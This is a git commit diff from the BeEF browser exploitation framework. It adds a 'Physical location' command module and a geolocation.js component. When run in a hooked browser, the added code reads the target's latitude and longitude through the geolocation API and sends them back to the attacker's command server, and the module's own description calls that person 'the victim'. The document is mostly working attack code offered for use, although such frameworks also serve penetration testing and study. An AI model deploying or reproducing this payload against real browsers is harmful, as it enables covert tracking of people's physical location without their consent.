added geolocation detection (first draft)
git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -18,7 +18,7 @@ module Modules
|
|||||||
# set up values required to construct beefjs
|
# set up values required to construct beefjs
|
||||||
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
||||||
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
|
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
|
||||||
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js)
|
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js geolocation.js)
|
||||||
|
|
||||||
# construct the beefjs string from file(s)
|
# construct the beefjs string from file(s)
|
||||||
js_sub_files.each {|js_sub_file_name|
|
js_sub_files.each {|js_sub_file_name|
|
||||||
|
|||||||
43
modules/beefjs/geolocation.js
Normal file
43
modules/beefjs/geolocation.js
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
/*!
|
||||||
|
* @literal object: beef.geolocation
|
||||||
|
*
|
||||||
|
* Provides functionalities to use the geolocation API.
|
||||||
|
*/
|
||||||
|
beef.geolocation = {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* check if browser supports the geolocation API
|
||||||
|
*/
|
||||||
|
isGeolocationEnabled: function(){
|
||||||
|
var isEnabled = false;
|
||||||
|
|
||||||
|
if (navigator.geolocation) {
|
||||||
|
isEnabled = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return isEnabled;
|
||||||
|
},
|
||||||
|
|
||||||
|
/*
|
||||||
|
* retrieve latitude/longitude using the geolocation API
|
||||||
|
*/
|
||||||
|
getVictimGeolocation: function (command_url, command_id){
|
||||||
|
//var result = null;
|
||||||
|
|
||||||
|
if (navigator.geolocation) {
|
||||||
|
navigator.geolocation.getCurrentPosition(
|
||||||
|
function(position){ //note: this is an async call
|
||||||
|
var latitude = position.coords.latitude;
|
||||||
|
var longitude = position.coords.longitude;
|
||||||
|
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude);
|
||||||
|
|
||||||
|
}, function(position){
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR");
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
beef.regCmp('beef.geolocation');
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
beef.execute(function() {
|
||||||
|
|
||||||
|
if(beef.geolocation.isGeolocationEnabled()){
|
||||||
|
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||||
|
}else{
|
||||||
|
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
39
modules/commands/host/physical_location/physical_location.rb
Normal file
39
modules/commands/host/physical_location/physical_location.rb
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
module BeEF
|
||||||
|
module Modules
|
||||||
|
module Commands
|
||||||
|
|
||||||
|
|
||||||
|
class Physical_location < BeEF::Command
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super({
|
||||||
|
'Name' => 'Physical location',
|
||||||
|
'Description' => %Q{
|
||||||
|
This module will retrieve the physical location of the victim using the geolocation API
|
||||||
|
},
|
||||||
|
'Category' => 'Host',
|
||||||
|
'Author' => ['antisnatchor'],
|
||||||
|
'File' => __FILE__,
|
||||||
|
'Target' => {
|
||||||
|
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
use 'beef.geolocation'
|
||||||
|
use_template!
|
||||||
|
end
|
||||||
|
|
||||||
|
def callback
|
||||||
|
content = {}
|
||||||
|
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
|
||||||
|
content['Latitude'] = @datastore['latitude']
|
||||||
|
content['Longitude'] = @datastore['longitude']
|
||||||
|
save content
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user